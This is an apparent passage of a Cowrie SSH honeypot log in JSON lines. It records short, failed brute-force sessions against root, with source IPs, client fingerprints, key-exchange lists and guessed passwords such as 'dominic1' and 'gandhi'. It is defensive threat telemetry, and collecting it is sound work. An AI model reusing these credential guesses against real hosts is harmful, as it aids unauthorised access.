{"eventid":"cowrie.session.connect","src_ip":"158.69.227.40","src_port":58830,"dst_ip":"10.17.0.5","dst_port":22,"session":"716abecc9ace","protocol":"ssh","message":"New connection: 158.69.227.40:58830 (10.17.0.5:22) [session: 716abecc9ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.126827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.131410Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.153340Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:8a:72:58:c5:9c:f2:af:e9:fe:5d:b7:72:63:e2:21","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJm0eyfA1maNLdTPZRsYvEhwvb5pwyBpAxCGtSzram5x","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 58:8a:72:58:c5:9c:f2:af:e9:fe:5d:b7:72:63:e2:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.234765Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:8a:72:58:c5:9c:f2:af:e9:fe:5d:b7:72:63:e2:21","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJm0eyfA1maNLdTPZRsYvEhwvb5pwyBpAxCGtSzram5x","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.238451Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:97:99:0e:d3:92:9b:d5:bd:9c:eb:da:05:32:bf:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhAnrvJ8G+IwDgg7Xbm50iBHREvbeaSxXWO++dmg2ADeEn17kiemxgolx9GLnrBf9tenu/nV+s+2eVcEKX79/UXL25tPxuS+YIZyeti17xYDxEXPIn/AIp1FruyOaEzFUvmOLIHp86cWYmRx1ap1dxI7DA5FCXsLV2YWDs69v1Y9o9ytIiPYFHCtcQTguiq/Cd5DzG79QZmRx+T/SXBKZBm3znDMk5lEe1lRemGggV4HdaJI6dmI/1dUTaaIL+pVbpL92E7UrdMfda3lxpTNPq6xUotF4lIKdcvI/Qux1szSQJTejuG88+HGX40dlpJe9DsF+t7mMcj0rlUZm2x/Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:97:99:0e:d3:92:9b:d5:bd:9c:eb:da:05:32:bf:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.259113Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:97:99:0e:d3:92:9b:d5:bd:9c:eb:da:05:32:bf:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuhAnrvJ8G+IwDgg7Xbm50iBHREvbeaSxXWO++dmg2ADeEn17kiemxgolx9GLnrBf9tenu/nV+s+2eVcEKX79/UXL25tPxuS+YIZyeti17xYDxEXPIn/AIp1FruyOaEzFUvmOLIHp86cWYmRx1ap1dxI7DA5FCXsLV2YWDs69v1Y9o9ytIiPYFHCtcQTguiq/Cd5DzG79QZmRx+T/SXBKZBm3znDMk5lEe1lRemGggV4HdaJI6dmI/1dUTaaIL+pVbpL92E7UrdMfda3lxpTNPq6xUotF4lIKdcvI/Qux1szSQJTejuG88+HGX40dlpJe9DsF+t7mMcj0rlUZm2x/Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.263098Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:a2:c7:c8:3a:e2:b1:90:ac:b7:75:50:ad:b6:f0:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAG3fkqbeWdmbwPjxAuORrniDBqWE/L4VzATVp8MGMHJwSJhBlOxyFIDRyZvt0GA3vfjQDpYJCPyalJ3H+xWPtvX/w/q0dV/uXoukhlGVGcW2GO+/FJRfwpF4avPgducdVUlUyHuPSC2n7YhuWjICftCPXtNROp/qpUiTT+fU9QaxvsUME1dQCb2Cz0vT8FhrO1M1Hq7Sx7npj3c8XiYpgV+Fv1/TUEk7u9PoV7+FQh05DEpHwfHE3QvULWL5oIDY9K2tlzA76YS1otuhSVmq646bqYDF68sy0LccVs2lkN+IgXV778S+HBXwPLyWCy3yJawEMcuBydUiwR2tCQ8ET","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:a2:c7:c8:3a:e2:b1:90:ac:b7:75:50:ad:b6:f0:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.283683Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:a2:c7:c8:3a:e2:b1:90:ac:b7:75:50:ad:b6:f0:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAG3fkqbeWdmbwPjxAuORrniDBqWE/L4VzATVp8MGMHJwSJhBlOxyFIDRyZvt0GA3vfjQDpYJCPyalJ3H+xWPtvX/w/q0dV/uXoukhlGVGcW2GO+/FJRfwpF4avPgducdVUlUyHuPSC2n7YhuWjICftCPXtNROp/qpUiTT+fU9QaxvsUME1dQCb2Cz0vT8FhrO1M1Hq7Sx7npj3c8XiYpgV+Fv1/TUEk7u9PoV7+FQh05DEpHwfHE3QvULWL5oIDY9K2tlzA76YS1otuhSVmq646bqYDF68sy0LccVs2lkN+IgXV778S+HBXwPLyWCy3yJawEMcuBydUiwR2tCQ8ET","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.287671Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:09:c4:ba:26:68:1b:58:b8:23:77:a5:b9:30:5c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTKLjUuSgpaBaCQTE8TiweFoSAts9d6Jj324zHFu4kb8utG/MS0KVa5wOALVRVUC7gCtkpTmzEEvzF8BeXlMcBh1YRnVZKuyPPE/bXd6zOfqL6xLG5VEqyuI+1IODsECNMm5nzEImir5PtQ1+t4zBu8rFO98q66ZBlovXz1Ck/OPhKOdsPfdJXZ1rzVDzZJUMJqzCCUuQ79Qu+1o/Fw0so/068uszjSbjpQDC/40PSLkmwsEA2CtS8ISP7E6/kbZHtHD69JIzOWKkyroE7f8fmdVfBE6bKttPwHs3IzRA8IlrrwAL0ULKPEuDIw1Dzs+vcuBWPqL6dDeDiSV9anKjZ8VUDE04pegqN220kse2fu86zfYS5ZlEw9hKTv03uxUuTUoh9h0Qndms+M1Yw1c+OmeGMI67MegJltQ1SoPIo1RXXryCXGbdBTc2X9/XW7BFqLKUXz+X27oUzVHMMB3V44phTwjfuuMqKby4GkiR6WIaEFSiDwGltYxpH9LOJa+ka4ZMpUFwhmhIimWhf1/Xbirl5b5Kd6pyNqo4OC0QvyBI2+DC4cP01dyILVXueTcYBRlLuk6MBpBh36N6ZlS/GdAPzuS7DRxf79QO/unBpCWvXW0tYZbnKvLlX22z84oY8qOAefBj1rtOfujU5Qo2bUVxy7Ia9LF2Xbqs8oftN/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:09:c4:ba:26:68:1b:58:b8:23:77:a5:b9:30:5c:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.308442Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:09:c4:ba:26:68:1b:58:b8:23:77:a5:b9:30:5c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTKLjUuSgpaBaCQTE8TiweFoSAts9d6Jj324zHFu4kb8utG/MS0KVa5wOALVRVUC7gCtkpTmzEEvzF8BeXlMcBh1YRnVZKuyPPE/bXd6zOfqL6xLG5VEqyuI+1IODsECNMm5nzEImir5PtQ1+t4zBu8rFO98q66ZBlovXz1Ck/OPhKOdsPfdJXZ1rzVDzZJUMJqzCCUuQ79Qu+1o/Fw0so/068uszjSbjpQDC/40PSLkmwsEA2CtS8ISP7E6/kbZHtHD69JIzOWKkyroE7f8fmdVfBE6bKttPwHs3IzRA8IlrrwAL0ULKPEuDIw1Dzs+vcuBWPqL6dDeDiSV9anKjZ8VUDE04pegqN220kse2fu86zfYS5ZlEw9hKTv03uxUuTUoh9h0Qndms+M1Yw1c+OmeGMI67MegJltQ1SoPIo1RXXryCXGbdBTc2X9/XW7BFqLKUXz+X27oUzVHMMB3V44phTwjfuuMqKby4GkiR6WIaEFSiDwGltYxpH9LOJa+ka4ZMpUFwhmhIimWhf1/Xbirl5b5Kd6pyNqo4OC0QvyBI2+DC4cP01dyILVXueTcYBRlLuk6MBpBh36N6ZlS/GdAPzuS7DRxf79QO/unBpCWvXW0tYZbnKvLlX22z84oY8qOAefBj1rtOfujU5Qo2bUVxy7Ia9LF2Xbqs8oftN/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.311662Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:ad:1b:c4:c4:93:e8:6e:b3:9e:00:88:51:5e:85:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXP1OMzuqKl4TGx2pXtQCAGtBzs5sx6rkjr9cNi4DFEyOGeTVTuppJWqqVmEUVX1rLqDi7GHuVeNP6kFk380L1He5S/eU+Q6H7i/pabX8I/zzz594O+MlHPlEa73gcEkNDXI8BlcJioVG9ZpKEZG51Omn7S4/Hob89mczSUo0UCjnsO28NJTm0mBaj541t7wsYopXgEShQHj22zVCRZ1JdK4cVr54ECaftGlY5+HbDvKpZEQL8qz4G361n2cxh/rkf7jIKfV+IPjJFzDdi4zHSJBllZ8LjLLonr+pGpwUarlaAGQ353CQMBUhkaqGlq7xK+GteXjJDGicBiViJXwXqFcO07v1lgcJZ/zOchyf1Z01IXWy76zqX+zKnPQvBfMPqWYzFYakn4XZNlNXEFg3Bg5AypSqhwLiidav07Fp+YC8BKxQXDptkggxt6eaHMke6hOAtydnh6ZfxCVKEVRFmd25y1aoR60U4vpXLeQAkG66MUHwwWxsGWsityx5QtyfnyMB1Zf3hJkLhufCbydBdsNyBC/oh4ujoU31UoXlNPMKsvsC8MLe0UKmU39roAY7Qm7rb8uvpF0zceODuoCoPrA/tS3GY6re/1fcSD9+eYdMkWL68kOLUczaTD3UX4SuE5GvPYH8jNIaJv6pLKHRvK2oDvHqXDxuS6GamgicZ7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:ad:1b:c4:c4:93:e8:6e:b3:9e:00:88:51:5e:85:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.334166Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:ad:1b:c4:c4:93:e8:6e:b3:9e:00:88:51:5e:85:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXP1OMzuqKl4TGx2pXtQCAGtBzs5sx6rkjr9cNi4DFEyOGeTVTuppJWqqVmEUVX1rLqDi7GHuVeNP6kFk380L1He5S/eU+Q6H7i/pabX8I/zzz594O+MlHPlEa73gcEkNDXI8BlcJioVG9ZpKEZG51Omn7S4/Hob89mczSUo0UCjnsO28NJTm0mBaj541t7wsYopXgEShQHj22zVCRZ1JdK4cVr54ECaftGlY5+HbDvKpZEQL8qz4G361n2cxh/rkf7jIKfV+IPjJFzDdi4zHSJBllZ8LjLLonr+pGpwUarlaAGQ353CQMBUhkaqGlq7xK+GteXjJDGicBiViJXwXqFcO07v1lgcJZ/zOchyf1Z01IXWy76zqX+zKnPQvBfMPqWYzFYakn4XZNlNXEFg3Bg5AypSqhwLiidav07Fp+YC8BKxQXDptkggxt6eaHMke6hOAtydnh6ZfxCVKEVRFmd25y1aoR60U4vpXLeQAkG66MUHwwWxsGWsityx5QtyfnyMB1Zf3hJkLhufCbydBdsNyBC/oh4ujoU31UoXlNPMKsvsC8MLe0UKmU39roAY7Qm7rb8uvpF0zceODuoCoPrA/tS3GY6re/1fcSD9+eYdMkWL68kOLUczaTD3UX4SuE5GvPYH8jNIaJv6pLKHRvK2oDvHqXDxuS6GamgicZ7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.336900Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:53.356765Z","src_ip":"158.69.227.40","session":"716abecc9ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":60608,"dst_ip":"10.17.0.5","dst_port":22,"session":"5762b789d11f","protocol":"ssh","message":"New connection: 43.162.109.147:60608 (10.17.0.5:22) [session: 5762b789d11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:33.116709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:33.120626Z","src_ip":"43.162.109.147","session":"5762b789d11f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:33.188719Z","src_ip":"43.162.109.147","session":"5762b789d11f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominic1","message":"login attempt [root/dominic1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:33.494438Z","src_ip":"43.162.109.147","session":"5762b789d11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:34.565945Z","src_ip":"43.162.109.147","session":"5762b789d11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":41372,"dst_ip":"10.17.0.5","dst_port":22,"session":"936531b3698f","protocol":"ssh","message":"New connection: 144.91.86.102:41372 (10.17.0.5:22) [session: 936531b3698f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:39.133329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:39.138022Z","src_ip":"144.91.86.102","session":"936531b3698f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:39.233178Z","src_ip":"144.91.86.102","session":"936531b3698f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amministratore","message":"login attempt [root/amministratore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:39.638581Z","src_ip":"144.91.86.102","session":"936531b3698f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:40.734556Z","src_ip":"144.91.86.102","session":"936531b3698f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":60974,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fc94bdab944","protocol":"ssh","message":"New connection: 192.169.243.246:60974 (159.203.135.109:22) [session: 0fc94bdab944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:53.939579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:53.944833Z","src_ip":"192.169.243.246","session":"0fc94bdab944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:54.017926Z","src_ip":"192.169.243.246","session":"0fc94bdab944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gandhi","message":"login attempt [root/gandhi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:54.339467Z","src_ip":"192.169.243.246","session":"0fc94bdab944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:55.415895Z","src_ip":"192.169.243.246","session":"0fc94bdab944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":51218,"dst_ip":"10.17.0.5","dst_port":22,"session":"76a9bfcabc76","protocol":"ssh","message":"New connection: 95.58.255.251:51218 (10.17.0.5:22) [session: 76a9bfcabc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:59.861350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:06:59.866055Z","src_ip":"95.58.255.251","session":"76a9bfcabc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"